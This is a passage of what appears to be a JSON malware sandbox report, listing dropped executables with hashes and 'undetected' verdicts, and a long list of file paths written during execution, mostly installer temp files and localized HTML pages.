"name":"Sminkekrukkens236.brt","sha256":"d03476d515e11ec48af45a59a987ae37b6e8994d79d1998e550845001f8ed9e5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"bullwort.int","sha256":"dc6cba732bd778fbbbee19b5d589f8c9d25bf94c76d8b1d0e88775c8196c0cae","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"newrock.exe","sha256":"e8d90635afe03c9f884b2b426b02ba37d9cfebd193514225ea408c49191bf55d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"pdf.exe","sha256":"5bda89ff86c9027e7a2d3c67cc9b8da3eb5f5d1095d22e34aea8e4ae5937c5cd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"e0cbefcb1af40c7d4aff4aca26621a98_1_.exe","sha256":"5d74b774673bd99043a2152f8120e00ea11dce9c9e9a9d050b6dbc685b153520","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E122B924-B4ED-4437-BC94-A96B6AA901B6}","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{45F5205B-FA7A-11ED-8886-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"C:\\a\\8aCq1Rp.exe","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"C:\\a\\g67DNdL.exe","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"C:\\a\\i81fwxp.exe","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"C:\\a\\02.08.2022.exe","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"C:\\a\\cooking.exe","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"C:\\a\\TLauncher-Installer-1.9.4.exe","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"C:\\a\\lJ5IwxN.exe","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"C:\\a\\elf.exe","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"C:\\a\\sys.exe","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"C:\\a\\sup.exe","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"C:\\a\\tmp.exe","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"C:\\a\\crypted_guardfile.exe","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"C:\\a\\random.exe","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"C:\\a\\rabert.exe","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"C:\\a\\docx.exe","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"C:\\a\\window.exe","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"C:\\a\\windows.exe","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\IXP000.TMP\\TMP4351$.TMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\IXP000.TMP\\Pet.wms","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\IXP000.TMP\\Conjunction.wms","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\IXP000.TMP\\Actually.wms","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\IXP000.TMP\\Sing.wms","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\IXP000.TMP\\Referral.wms","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\IXP000.TMP\\Bangbus.wms","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\IXP000.TMP\\Settled.wms","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\IXP000.TMP\\Make.wms","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\irsetup.exe","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\lua5.3.dll","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\irsetup.dat","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG1.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG2.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG3.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG1.PNG","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG2.PNG","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG3.PNG","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG4.PNG","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG5.PNG","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG6.PNG","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG7.PNG","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG8.PNG","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG9.PNG","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG10.PNG","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG11.PNG","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG4.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG5.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG6.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG7.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG8.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG9.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG10.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG11.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG12.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG13.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG14.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG15.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG16.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG17.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG18.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG19.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG20.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG21.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG22.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG23.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG24.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG25.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG26.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG27.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG28.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG29.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG30.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG31.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG32.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG33.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG34.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG35.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG36.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG37.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG38.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG39.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG40.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG41.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG42.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG43.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG44.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG45.BMP","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG12.PNG","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG13.PNG","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG14.PNG","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG15.PNG","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG16.PNG","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG17.PNG","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\IRIMG18.PNG","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\200.ico","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\BrowserInstaller.exe","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1EN.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1BR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1CN.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1DE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1ES.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1FR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1IT.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1LT.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1LV.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1PL.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1RO.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1RU.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1TR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1UA.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1SE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1NL.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1NO.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1DK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1EN.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1RU.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1NO.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1BR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1TR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1PL.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1CN.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1ES.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1RO.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1DE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1FR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1IT.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1LV.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1SE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1NL.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1LT.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1DK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1UA.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licEN.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licBR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licCN.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licDE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licDK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licES.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licFR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licIT.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licLT.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licLV.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licNL.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licNO.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licRO.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licSE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licTR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licUA.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licRU.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licPL.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1EN.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1BR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1CN.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1DE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1DK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1ES.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1FR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1IT.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1LT.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1LV.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1NL.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1NO.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1PL.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1RO.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1RU.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1SE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1TR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1UA.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2BR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2CN.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2DE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2DK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2EN.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2ES.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2FR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2IT.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2LT.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2LV.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2NL.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2NO.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2PL.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2RO.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2RU.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2SE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2TR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2UA.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1EN.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1BR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1CN.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1DE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1DK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1ES.html","sources":[{